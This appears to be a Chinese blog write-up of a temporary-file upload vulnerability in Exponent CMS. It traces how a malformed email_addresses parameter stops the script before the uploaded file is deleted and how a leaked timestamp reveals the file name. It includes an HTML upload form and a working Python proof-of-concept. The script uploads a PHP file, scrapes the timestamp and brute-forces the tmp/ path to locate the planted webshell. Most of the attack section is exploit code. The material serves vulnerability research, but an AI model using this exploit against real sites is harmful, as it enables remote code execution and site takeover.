Exponent-cms的上传漏洞(附POC)
参考文章
http://bobao.360.cn/learning/detail/3001.html
漏洞概述:临时文件上传的漏洞,上传文件保存在/tmp目录下,随后就被删除。看起来没有问题,
然而在删除之前的函数一直追查下去。
有一个邮件的函数,在处理的过程中如果邮件地址的正则匹配不通过,就会报错并且终止程序。
当然也就不会执行到删除文件。
1,简单输入错误的地址就会失效,但是作者做了更有趣的事情,看参数传入的地方。
$email_addy = array_flip(array_flip($this->params['email_addresses']));
$email_addy = array_map('trim', $email_addy);
$email_addy = array_filter($email_addy);
this->params['email_addresses'] 可控 如果不传入数组的话,传入字符串 array_flip就会返回null
2,绕过默认邮箱赋值
if (is_array($params['to'])) {
$params['to'] = array_filter($params['to']);
} else {
$params['to'] = array(trim($params['to']));
}
if (empty($params['to'])) {
$params['to'] = array(trim(SMTP_FROMADDRESS)); // 赋值默认邮箱
}
$this->addTo($params['to']); // we only do this to save addresses in our object
现在params['to']是null,如果不是array的话就转化成数组 ,=> array(0=>' ')
但是在后面的empty判断中依然非空,所以是false,这样就绕过了邮箱默认设置
3,文件名的命名规则 time()+'_'+文件名
function eventsCalendar() {
global $user;
expHistory::set('viewable', $this->params);
$time = isset($this->params['time']) ? $this->params['time'] : time();
assign_to_template(array(
'time' => $time
));
直接将time打进的网站源码里,得到大概time值就可以爆破出来
4,最终的测试环节
构造上传的表单
<html>
<body>
<form action="http://localhost/exponent/index.php?module=eventregistration&action=emailRegistrants&email_addresses=123456789@123.com&email_message=1&email_subject=1" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="attach" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
上传后 我的并没有报错,而是显示了一个没有什么样式的页面
接着访问http://localhost/exponent/index.php?module=eventregistration&action=eventsCalendar
查看源代码,关键字查找rel 我的在557行处 得到时间戳
burpsuite抓包爆破 payload设置后三位
最后成功爆破出来。
5,编写脚本自动化测试
原理都知道了写出脚本是自然而然的事情。
import requests
base_url='http://localhost/exponent/'
url_for_time='index.php?module=eventregistration&action=eventsCalendar'
url_for_upload='index.php?module=eventregistration&action=emailRegistrants&email_addresses=123456789@123.com&email_message=1&email_subject=1'
files={'attach':open('index.php','rb')}
requests.post(base_url+url_for_upload,files=files)
print 'upload finish'
r=requests.get(base_url+url_for_time)
html1=r.content
#print html1
index=r.content.find('History.pushState')
if index:
time=html1[index:index+60].split('rel')[1].split('\'')[1]
else:
print 'something wrong'
exit(0)
print "get time:"+ time
for i in range(int(time),int(time)-20,-1):
shell_url=base_url+'tmp/'+str(i)+'_index.php'
r2=requests.get(shell_url)
if r2.status_code==200:
print "shell is here : "+shell_url
浙公网安备 33010602011771号